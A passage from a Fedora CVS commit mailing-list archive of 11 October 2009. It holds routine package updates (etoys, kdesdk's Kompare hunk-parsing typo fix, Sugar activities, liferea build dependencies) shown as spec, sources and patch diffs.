+++ sources	11 Oct 2009 16:15:23 -0000	1.10
@@ -1 +1 @@
-604ba19acf9260ffd4650e6ff4234450  etoys-4.0.2319.tar.gz
+8802636e2ea8e55ec2487dc209cf7ff2  etoys-4.0.2332.tar.gz



From tuxbrewr at fedoraproject.org  Sun Oct 11 16:25:27 2009
From: tuxbrewr at fedoraproject.org (Steven M. Parrish)
Date: Sun, 11 Oct 2009 16:25:27 +0000 (UTC)
Subject: rpms/etoys/F-11 .cvsignore, 1.9, 1.10 etoys.spec, 1.9, 1.10 sources,
	1.9, 1.10
Message-ID: <20091011162527.A5ACB11C00EC@cvs1.fedora.phx.redhat.com>

Author: tuxbrewr

Update of /cvs/pkgs/rpms/etoys/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19936

Modified Files:
	.cvsignore etoys.spec sources 
Log Message:
New upstream release 2332


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/etoys/F-11/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	1 Oct 2009 13:31:06 -0000	1.9
+++ .cvsignore	11 Oct 2009 16:25:27 -0000	1.10
@@ -1 +1 @@
-etoys-4.0.2319.tar.gz
+etoys-4.0.2332.tar.gz


Index: etoys.spec
===================================================================
RCS file: /cvs/pkgs/rpms/etoys/F-11/etoys.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- etoys.spec	1 Oct 2009 13:31:06 -0000	1.9
+++ etoys.spec	11 Oct 2009 16:25:27 -0000	1.10
@@ -1,5 +1,5 @@
 %define name    etoys
-%define version 4.0.2319
+%define version 4.0.2332
 %define release 1%{?dist}
 %define source  %{name}-%{version}
 
@@ -136,6 +136,9 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Sun Oct 11 2009 Steven M. Parrish <smparrish at gmail.com> - 4.0.2332-1
+- lastest upstream release 4.0.2332
+
 * Thu Oct  1 2009 Gavin Romig-Koch <gavin at redhat.com> - 4.0.2319-1
 - lastest upstream release 4.0.2319
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/etoys/F-11/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	1 Oct 2009 13:31:06 -0000	1.9
+++ sources	11 Oct 2009 16:25:27 -0000	1.10
@@ -1 +1 @@
-604ba19acf9260ffd4650e6ff4234450  etoys-4.0.2319.tar.gz
+8802636e2ea8e55ec2487dc209cf7ff2  etoys-4.0.2332.tar.gz



From tuxbrewr at fedoraproject.org  Sun Oct 11 16:38:57 2009
From: tuxbrewr at fedoraproject.org (Steven M. Parrish)
Date: Sun, 11 Oct 2009 16:38:57 +0000 (UTC)
Subject: rpms/etoys/devel .cvsignore, 1.9, 1.10 etoys.spec, 1.10,
	1.11 sources, 1.9, 1.10
Message-ID: <20091011163857.B6E5E11C00EC@cvs1.fedora.phx.redhat.com>

Author: tuxbrewr

Update of /cvs/pkgs/rpms/etoys/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24405

Modified Files:
	.cvsignore etoys.spec sources 
Log Message:
New upstream release 2332


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/etoys/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	30 Sep 2009 21:44:38 -0000	1.9
+++ .cvsignore	11 Oct 2009 16:38:57 -0000	1.10
@@ -1 +1 @@
-etoys-4.0.2319.tar.gz
+etoys-4.0.2332.tar.gz


Index: etoys.spec
===================================================================
RCS file: /cvs/pkgs/rpms/etoys/devel/etoys.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- etoys.spec	30 Sep 2009 21:44:38 -0000	1.10
+++ etoys.spec	11 Oct 2009 16:38:57 -0000	1.11
@@ -1,5 +1,5 @@
 %define name    etoys
-%define version 4.0.2319
+%define version 4.0.2332
 %define release 1%{?dist}
 %define source  %{name}-%{version}
 
@@ -136,7 +136,10 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
-* Wed Sep 30 2009 Gavin Romig-Koch <gavin at redhat.com> - 4.0.2319-1
+* Sun Oct 11 2009 Steven M. Parrish <smparrish at gmail.com> - 4.0.2332-1
+- lastest upstream release 4.0.2332
+
+* Thu Oct 1 2009 Steven M. Parrish <smparrish at gmail.com> - 4.0.2319-1
 - lastest upstream release 4.0.2319	
 
 * Sat Sep 12 2009 Steven M. Parrish <smparrish at gmail.com> - 4.0.2279-1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/etoys/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	30 Sep 2009 21:44:38 -0000	1.9
+++ sources	11 Oct 2009 16:38:57 -0000	1.10
@@ -1 +1 @@
-604ba19acf9260ffd4650e6ff4234450  etoys-4.0.2319.tar.gz
+8802636e2ea8e55ec2487dc209cf7ff2  etoys-4.0.2332.tar.gz



From kkofler at fedoraproject.org  Sun Oct 11 17:03:15 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun, 11 Oct 2009 17:03:15 +0000 (UTC)
Subject: rpms/kdesdk/F-10 kdesdk-4.3.2-kompare-regression.patch, NONE,
	1.1 kdesdk.spec, 1.135, 1.136
Message-ID: <20091011170315.E77FA11C00EC@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdesdk/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31712/F-10

Modified Files:
	kdesdk.spec 
Added Files:
	kdesdk-4.3.2-kompare-regression.patch 
Log Message:
* Sun Oct 11 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-2
- Fix Kompare diff parsing regression (due to a typo in a bugfix)

kdesdk-4.3.2-kompare-regression.patch:
 parserbase.cpp |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE kdesdk-4.3.2-kompare-regression.patch ---
Index: kompare/libdiff2/parserbase.cpp
===================================================================
--- kompare/libdiff2/parserbase.cpp	(Revision 1033954)
+++ kompare/libdiff2/parserbase.cpp	(Revision 1033955)
@@ -546,7 +546,7 @@
 	}
 	linenoB = m_unifiedHunkHeader.cap( 4 ).toInt();
 	if( !m_unifiedHunkHeader.cap( 6 ).isEmpty() ) {
-		lineCountA = m_unifiedHunkHeader.cap( 6 ).toInt(&wasNum);
+		lineCountB = m_unifiedHunkHeader.cap( 6 ).toInt(&wasNum);
 		if( !wasNum )
 			return false;
 


Index: kdesdk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdesdk/F-10/kdesdk.spec,v
retrieving revision 1.135
retrieving revision 1.136
diff -u -p -r1.135 -r1.136
--- kdesdk.spec	7 Oct 2009 12:10:41 -0000	1.135
+++ kdesdk.spec	11 Oct 2009 17:03:15 -0000	1.136
@@ -1,6 +1,6 @@
 Name:           kdesdk
 Version:        4.3.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        The KDE Software Development Kit (SDK)
 
 Group:          User Interface/Desktops
@@ -8,6 +8,9 @@ Group:          User Interface/Desktops
 License:        GPLv2
 URL:            http://www.kde.org/
 Source0:        ftp://ftp.kde.org/pub/kde/stable/%{version}/src/%{name}-%{version}.tar.bz2
+# Kompare regression due to a typo in the patch for kde#139209
+# fix from upstream 4.3 branch, will be fixed upstream in 4.3.3
+Patch100:       kdesdk-4.3.2-kompare-regression.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # upstream patches
@@ -77,6 +80,7 @@ xml2pot
 
 %prep
 %setup -q
+%patch100 -p0 -b .kompare-regression
 
 
 %build
@@ -225,6 +229,9 @@ fi
 
 
 %changelog
+* Sun Oct 11 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-2
+- Fix Kompare diff parsing regression (due to a typo in a bugfix)
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From kkofler at fedoraproject.org  Sun Oct 11 17:03:16 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun, 11 Oct 2009 17:03:16 +0000 (UTC)
Subject: rpms/kdesdk/F-11 kdesdk-4.3.2-kompare-regression.patch, NONE,
	1.1 kdesdk.spec, 1.150, 1.151
Message-ID: <20091011170316.2D55B11C00EC@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdesdk/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31712/F-11

Modified Files:
	kdesdk.spec 
Added Files:
	kdesdk-4.3.2-kompare-regression.patch 
Log Message:
* Sun Oct 11 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-2
- Fix Kompare diff parsing regression (due to a typo in a bugfix)

kdesdk-4.3.2-kompare-regression.patch:
 parserbase.cpp |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE kdesdk-4.3.2-kompare-regression.patch ---
Index: kompare/libdiff2/parserbase.cpp
===================================================================
--- kompare/libdiff2/parserbase.cpp	(Revision 1033954)
+++ kompare/libdiff2/parserbase.cpp	(Revision 1033955)
@@ -546,7 +546,7 @@
 	}
 	linenoB = m_unifiedHunkHeader.cap( 4 ).toInt();
 	if( !m_unifiedHunkHeader.cap( 6 ).isEmpty() ) {
-		lineCountA = m_unifiedHunkHeader.cap( 6 ).toInt(&wasNum);
+		lineCountB = m_unifiedHunkHeader.cap( 6 ).toInt(&wasNum);
 		if( !wasNum )
 			return false;
 


Index: kdesdk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdesdk/F-11/kdesdk.spec,v
retrieving revision 1.150
retrieving revision 1.151
diff -u -p -r1.150 -r1.151
--- kdesdk.spec	7 Oct 2009 12:10:41 -0000	1.150
+++ kdesdk.spec	11 Oct 2009 17:03:15 -0000	1.151
@@ -1,6 +1,6 @@
 Name:           kdesdk
 Version:        4.3.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        The KDE Software Development Kit (SDK)
 
 Group:          User Interface/Desktops
@@ -8,6 +8,9 @@ Group:          User Interface/Desktops
 License:        GPLv2
 URL:            http://www.kde.org/
 Source0:        ftp://ftp.kde.org/pub/kde/stable/%{version}/src/%{name}-%{version}.tar.bz2
+# Kompare regression due to a typo in the patch for kde#139209
+# fix from upstream 4.3 branch, will be fixed upstream in 4.3.3
+Patch100:       kdesdk-4.3.2-kompare-regression.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # upstream patches
@@ -77,6 +80,7 @@ xml2pot
 
 %prep
 %setup -q
+%patch100 -p0 -b .kompare-regression
 
 
 %build
@@ -225,6 +229,9 @@ fi
 
 
 %changelog
+* Sun Oct 11 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-2
+- Fix Kompare diff parsing regression (due to a typo in a bugfix)
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From kkofler at fedoraproject.org  Sun Oct 11 17:03:17 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun, 11 Oct 2009 17:03:17 +0000 (UTC)
Subject: rpms/kdesdk/devel kdesdk-4.3.2-kompare-regression.patch, NONE,
	1.1 kdesdk.spec, 1.151, 1.152
Message-ID: <20091011170317.DFBAF11C00EC@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdesdk/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31712/devel

Modified Files:
	kdesdk.spec 
Added Files:
	kdesdk-4.3.2-kompare-regression.patch 
Log Message:
* Sun Oct 11 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-2
- Fix Kompare diff parsing regression (due to a typo in a bugfix)

kdesdk-4.3.2-kompare-regression.patch:
 parserbase.cpp |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE kdesdk-4.3.2-kompare-regression.patch ---
Index: kompare/libdiff2/parserbase.cpp
===================================================================
--- kompare/libdiff2/parserbase.cpp	(Revision 1033954)
+++ kompare/libdiff2/parserbase.cpp	(Revision 1033955)
@@ -546,7 +546,7 @@
 	}
 	linenoB = m_unifiedHunkHeader.cap( 4 ).toInt();
 	if( !m_unifiedHunkHeader.cap( 6 ).isEmpty() ) {
-		lineCountA = m_unifiedHunkHeader.cap( 6 ).toInt(&wasNum);
+		lineCountB = m_unifiedHunkHeader.cap( 6 ).toInt(&wasNum);
 		if( !wasNum )
 			return false;
 


Index: kdesdk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdesdk/devel/kdesdk.spec,v
retrieving revision 1.151
retrieving revision 1.152
diff -u -p -r1.151 -r1.152
--- kdesdk.spec	5 Oct 2009 15:12:17 -0000	1.151
+++ kdesdk.spec	11 Oct 2009 17:03:17 -0000	1.152
@@ -1,6 +1,6 @@
 Name:           kdesdk
 Version:        4.3.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        The KDE Software Development Kit (SDK)
 
 Group:          User Interface/Desktops
@@ -8,6 +8,9 @@ Group:          User Interface/Desktops
 License:        GPLv2
 URL:            http://www.kde.org/
 Source0:        ftp://ftp.kde.org/pub/kde/stable/%{version}/src/%{name}-%{version}.tar.bz2
+# Kompare regression due to a typo in the patch for kde#139209
+# fix from upstream 4.3 branch, will be fixed upstream in 4.3.3
+Patch100:       kdesdk-4.3.2-kompare-regression.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # upstream patches
@@ -77,6 +80,7 @@ xml2pot
 
 %prep
 %setup -q
+%patch100 -p0 -b .kompare-regression
 
 
 %build
@@ -225,6 +229,9 @@ fi
 
 
 %changelog
+* Sun Oct 11 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-2
+- Fix Kompare diff parsing regression (due to a typo in a bugfix)
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From kkofler at fedoraproject.org  Sun Oct 11 17:03:16 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun, 11 Oct 2009 17:03:16 +0000 (UTC)
Subject: rpms/kdesdk/F-12 kdesdk-4.3.2-kompare-regression.patch, NONE,
	1.1 kdesdk.spec, 1.151, 1.152
Message-ID: <20091011170316.D89DD11C00EC@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdesdk/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31712/F-12

Modified Files:
	kdesdk.spec 
Added Files:
	kdesdk-4.3.2-kompare-regression.patch 
Log Message:
* Sun Oct 11 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-2
- Fix Kompare diff parsing regression (due to a typo in a bugfix)

kdesdk-4.3.2-kompare-regression.patch:
 parserbase.cpp |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE kdesdk-4.3.2-kompare-regression.patch ---
Index: kompare/libdiff2/parserbase.cpp
===================================================================
--- kompare/libdiff2/parserbase.cpp	(Revision 1033954)
+++ kompare/libdiff2/parserbase.cpp	(Revision 1033955)
@@ -546,7 +546,7 @@
 	}
 	linenoB = m_unifiedHunkHeader.cap( 4 ).toInt();
 	if( !m_unifiedHunkHeader.cap( 6 ).isEmpty() ) {
-		lineCountA = m_unifiedHunkHeader.cap( 6 ).toInt(&wasNum);
+		lineCountB = m_unifiedHunkHeader.cap( 6 ).toInt(&wasNum);
 		if( !wasNum )
 			return false;
 


Index: kdesdk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdesdk/F-12/kdesdk.spec,v
retrieving revision 1.151
retrieving revision 1.152
diff -u -p -r1.151 -r1.152
--- kdesdk.spec	7 Oct 2009 12:10:42 -0000	1.151
+++ kdesdk.spec	11 Oct 2009 17:03:16 -0000	1.152
@@ -1,6 +1,6 @@
 Name:           kdesdk
 Version:        4.3.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        The KDE Software Development Kit (SDK)
 
 Group:          User Interface/Desktops
@@ -8,6 +8,9 @@ Group:          User Interface/Desktops
 License:        GPLv2
 URL:            http://www.kde.org/
 Source0:        ftp://ftp.kde.org/pub/kde/stable/%{version}/src/%{name}-%{version}.tar.bz2
+# Kompare regression due to a typo in the patch for kde#139209
+# fix from upstream 4.3 branch, will be fixed upstream in 4.3.3
+Patch100:       kdesdk-4.3.2-kompare-regression.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # upstream patches
@@ -77,6 +80,7 @@ xml2pot
 
 %prep
 %setup -q
+%patch100 -p0 -b .kompare-regression
 
 
 %build
@@ -225,6 +229,9 @@ fi
 
 
 %changelog
+* Sun Oct 11 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-2
+- Fix Kompare diff parsing regression (due to a typo in a bugfix)
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From pbrobinson at fedoraproject.org  Sun Oct 11 17:10:47 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sun, 11 Oct 2009 17:10:47 +0000 (UTC)
Subject: rpms/network-manager-netbook/F-12 network-manager-netbook.spec, 1.4,
	1.5
Message-ID: <20091011171047.E8B7111C02A1@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/network-manager-netbook/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1993

Modified Files:
	network-manager-netbook.spec 
Log Message:
- Rebuild against latest NetworkManager release


Index: network-manager-netbook.spec
===================================================================
RCS file: /cvs/pkgs/rpms/network-manager-netbook/F-12/network-manager-netbook.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- network-manager-netbook.spec	1 Oct 2009 18:32:16 -0000	1.4
+++ network-manager-netbook.spec	11 Oct 2009 17:10:47 -0000	1.5
@@ -7,7 +7,7 @@
 
 Name:           network-manager-netbook
 Version:        1.3.1
-Release:        0.1%{?dist}
+Release:        0.2%{?dist}
 Summary:        Moblin Netbook GUI for NetworkManger
 
 Group:          Applications/Internet
@@ -87,6 +87,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/icons/hicolor/48x48/apps/nm-*
 
 %changelog
+* Sun Oct 11 2009 Peter Robinson <pbrobinson at gmail.com> 1.3.1-0.2
+- Rebuild against latest NetworkManager release
+
 * Thu Oct  1 2009 Peter Robinson <pbrobinson at gmail.com> 1.3.1-0.1
 - Git snapshot of the NM-0.8 port.
 



From erikos at fedoraproject.org  Sun Oct 11 17:28:14 2009
From: erikos at fedoraproject.org (Simon Schampijer)
Date: Sun, 11 Oct 2009 17:28:14 +0000 (UTC)
Subject: rpms/sugar-terminal/F-12 .cvsignore, 1.7, 1.8 sources, 1.7,
	1.8 sugar-terminal.spec, 1.10, 1.11
Message-ID: <20091011172814.C556F11C00EC@cvs1.fedora.phx.redhat.com>

Author: erikos

Update of /cvs/pkgs/rpms/sugar-terminal/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6787

Modified Files:
	.cvsignore sources sugar-terminal.spec 
Log Message:
* Sun Oct 11 2009 Simon Schampijer <simon at schampijer.de> - 28-1
* Updated Vietnamese translations




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-terminal/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	1 Oct 2009 08:56:07 -0000	1.7
+++ .cvsignore	11 Oct 2009 17:28:14 -0000	1.8
@@ -1 +1 @@
-Terminal-27.tar.bz2
+Terminal-28.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-terminal/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	1 Oct 2009 08:56:08 -0000	1.7
+++ sources	11 Oct 2009 17:28:14 -0000	1.8
@@ -1 +1 @@
-003bdc5d8ef5081ce8795fbdbdbe5100  Terminal-27.tar.bz2
+dc31c4c695f58d4e2fc56fc9b94ea9e6  Terminal-28.tar.bz2


Index: sugar-terminal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-terminal/F-12/sugar-terminal.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sugar-terminal.spec	1 Oct 2009 08:56:08 -0000	1.10
+++ sugar-terminal.spec	11 Oct 2009 17:28:14 -0000	1.11
@@ -1,5 +1,5 @@
 Name: sugar-terminal
-Version: 27
+Version: 28
 Release: 1%{?dist}
 Summary: Terminal for Sugar
 Group: Sugar/Activities
@@ -47,6 +47,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Simon Schampijer <simon at schampijer.de> - 28-1
+* Updated Vietnamese translations
+
 * Thu Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 27-1
 - Make canvas emit motion-notify-event during pointer motion (dslo#1402) (Aleksey Lim)
 - Fix typo (dslo#1356) (Aleksey Lim)



From sdz at fedoraproject.org  Sun Oct 11 17:28:22 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sun, 11 Oct 2009 17:28:22 +0000 (UTC)
Subject: rpms/sugar-imageviewer/F-12 sugar-imageviewer.spec,1.11,1.12
Message-ID: <20091011172822.AA2B711C00EC@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/sugar-imageviewer/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6761

Modified Files:
	sugar-imageviewer.spec 
Log Message:
Simple rebuild fixing dependency issue



Index: sugar-imageviewer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-imageviewer/F-12/sugar-imageviewer.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sugar-imageviewer.spec	11 Oct 2009 13:23:47 -0000	1.11
+++ sugar-imageviewer.spec	11 Oct 2009 17:28:22 -0000	1.12
@@ -1,6 +1,6 @@
 Name:           sugar-imageviewer
 Version:        14
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Simple Image viewer for Sugar
 
 Group:          Sugar/Activities
@@ -45,6 +45,9 @@ rm -rf  %{buildroot}
 
 
 %changelog
+* Sun Oct 11 2009 Sebastian Dziallas <sebastian at when.com> - 14-2
+- Simple rebuild fixing dependency issue
+
 * Sun Oct 11 2009 Sebastian Dziallas <sebastian at when.com> - 14-1
 - Updated Vietnamese translation
 



From erikos at fedoraproject.org  Sun Oct 11 17:31:25 2009
From: erikos at fedoraproject.org (Simon Schampijer)
Date: Sun, 11 Oct 2009 17:31:25 +0000 (UTC)
Subject: rpms/sugar-read/F-12 sugar-read.spec,1.6,1.7
Message-ID: <20091011173125.44EFF11C0265@cvs1.fedora.phx.redhat.com>

Author: erikos

Update of /cvs/pkgs/rpms/sugar-read/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8586

Modified Files:
	sugar-read.spec 
Log Message:
* Sun Oct 11 2009 Simon Schampijer <simon at schampijer.de> - 76-2
- rebuild for sugar-toolkit




Index: sugar-read.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-read/F-12/sugar-read.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sugar-read.spec	11 Oct 2009 13:32:04 -0000	1.6
+++ sugar-read.spec	11 Oct 2009 17:31:23 -0000	1.7
@@ -1,6 +1,6 @@
 Name: sugar-read
 Version: 76
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: A document reader for Sugar
 Group: Sugar/Activities
 License: GPLv2+
@@ -50,6 +50,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Simon Schampijer <simon at schampijer.de> - 76-2
+- rebuild for sugar-toolkit
+
 * Sun Oct 11 2009 Sebastian Dziallas <sebastian at when.com> - 76-1
 - Fix pagination for IA Epubs
 - Updated Vietnamese translations



From erikos at fedoraproject.org  Sun Oct 11 17:37:07 2009
From: erikos at fedoraproject.org (Simon Schampijer)
Date: Sun, 11 Oct 2009 17:37:07 +0000 (UTC)
Subject: rpms/sugar-turtleart/F-12 .cvsignore, 1.11, 1.12 sources, 1.11,
	1.12 sugar-turtleart.spec, 1.13, 1.14
Message-ID: <20091011173707.D7F6411C00EC@cvs1.fedora.phx.redhat.com>

Author: erikos

Update of /cvs/pkgs/rpms/sugar-turtleart/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10108

Modified Files:
	.cvsignore sources sugar-turtleart.spec 
Log Message:
* Sun Oct 11 2009 Simon Schampijer <simon at schampijer.de> - 72-1
- latest upstream release




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-turtleart/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	1 Oct 2009 09:50:22 -0000	1.11
+++ .cvsignore	11 Oct 2009 17:37:07 -0000	1.12
@@ -1 +1 @@
-TurtleArt-69.tar.bz2
+TurtleArt-72.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-turtleart/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	1 Oct 2009 09:50:23 -0000	1.11
+++ sources	11 Oct 2009 17:37:07 -0000	1.12
@@ -1 +1 @@
-97bb94da8da6b6bd5935dccaad78de50  TurtleArt-69.tar.bz2
+7c00f2f240affa572aa089dc434e673f  TurtleArt-72.tar.bz2


Index: sugar-turtleart.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-turtleart/F-12/sugar-turtleart.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sugar-turtleart.spec	1 Oct 2009 09:50:23 -0000	1.13
+++ sugar-turtleart.spec	11 Oct 2009 17:37:07 -0000	1.14
@@ -1,5 +1,5 @@
 Name: sugar-turtleart
-Version: 69
+Version: 72
 Release: 1%{?dist}
 Summary: Turtle Art activity for sugar
 
@@ -47,6 +47,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Simon Schampijer <simon at schampijer.de> - 72-1
+- latest upstream release
+
 * Fri Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 69-1
 - chmod +x svg factory
 - added missing import gettext from talogo.py



From tuxbrewr at fedoraproject.org  Sun Oct 11 17:58:07 2009
From: tuxbrewr at fedoraproject.org (Steven M. Parrish)
Date: Sun, 11 Oct 2009 17:58:07 +0000 (UTC)
Subject: rpms/liferea/F-12 liferea.spec,1.141,1.142
Message-ID: <20091011175807.D9A1A11C00EC@cvs1.fedora.phx.redhat.com>

Author: tuxbrewr

Update of /cvs/pkgs/rpms/liferea/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14967

Modified Files:
	liferea.spec 
Log Message:
Added additional functionality #527873


Index: liferea.spec
===================================================================
RCS file: /cvs/pkgs/rpms/liferea/F-12/liferea.spec,v
retrieving revision 1.141
retrieving revision 1.142
diff -u -p -r1.141 -r1.142
--- liferea.spec	12 Aug 2009 17:04:52 -0000	1.141
+++ liferea.spec	11 Oct 2009 17:58:07 -0000	1.142
@@ -1,6 +1,6 @@
 Name:           liferea
 Version:        1.6.0
-Release:        0%{?dist}
+Release:        1%{?dist}
 Summary:        An RSS/RDF feed reader
 
 Group:          Applications/Internet
@@ -19,7 +19,11 @@ BuildRequires:  webkitgtk-devel 
 BuildRequires:  intltool
 BuildRequires:  libglade2-devel
 BuildRequires:  desktop-file-utils
-
+BuildRequires:  libnotify-devel
+BuildRequires:  lua-devel
+BuildRequires:  libSM-devel
+BuildRequires:  dbus-devel
+BuildRequires:  NetworkManager-glib-devel
 
 Requires: 	sqlite
 
@@ -97,6 +101,7 @@ fi
 %{_bindir}/%{name}
 %{_bindir}/%{name}-add-feed
 %{_datadir}/%{name}/
+%{_libdir}/liferea/*
 %{_datadir}/icons/hicolor/16x16/apps/%{name}.png
 %{_datadir}/icons/hicolor/22x22/apps/%{name}.png
 %{_datadir}/icons/hicolor/24x24/apps/%{name}.png
@@ -107,6 +112,9 @@ fi
 %dir %{_libdir}/%{name}
 
 %changelog
+* Sat Oct 10 2009 Steven M. Parrish <smparrish at gmail.com> - 1.6.0-1
+- Add additional functionality #527873
+
 * Wed Aug 12 2009 Steven M. Parrish <smparrish at gmail.com> - 1.6.0-0
 - Final 1.6.0 release
 



From tuxbrewr at fedoraproject.org  Sun Oct 11 18:06:29 2009
From: tuxbrewr at fedoraproject.org (Steven M. Parrish)
Date: Sun, 11 Oct 2009 18:06:29 +0000 (UTC)
Subject: rpms/liferea/devel liferea.spec,1.141,1.142
Message-ID: <20091011180629.2ACB211C00EC@cvs1.fedora.phx.redhat.com>

Author: tuxbrewr

Update of /cvs/pkgs/rpms/liferea/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18535

Modified Files:
	liferea.spec 
Log Message:
Added additional functionality #527873


Index: liferea.spec
===================================================================
RCS file: /cvs/pkgs/rpms/liferea/devel/liferea.spec,v
retrieving revision 1.141
retrieving revision 1.142
diff -u -p -r1.141 -r1.142
--- liferea.spec	12 Aug 2009 17:04:52 -0000	1.141
+++ liferea.spec	11 Oct 2009 18:06:28 -0000	1.142
@@ -1,6 +1,6 @@
 Name:           liferea
 Version:        1.6.0
-Release:        0%{?dist}
+Release:        1%{?dist}
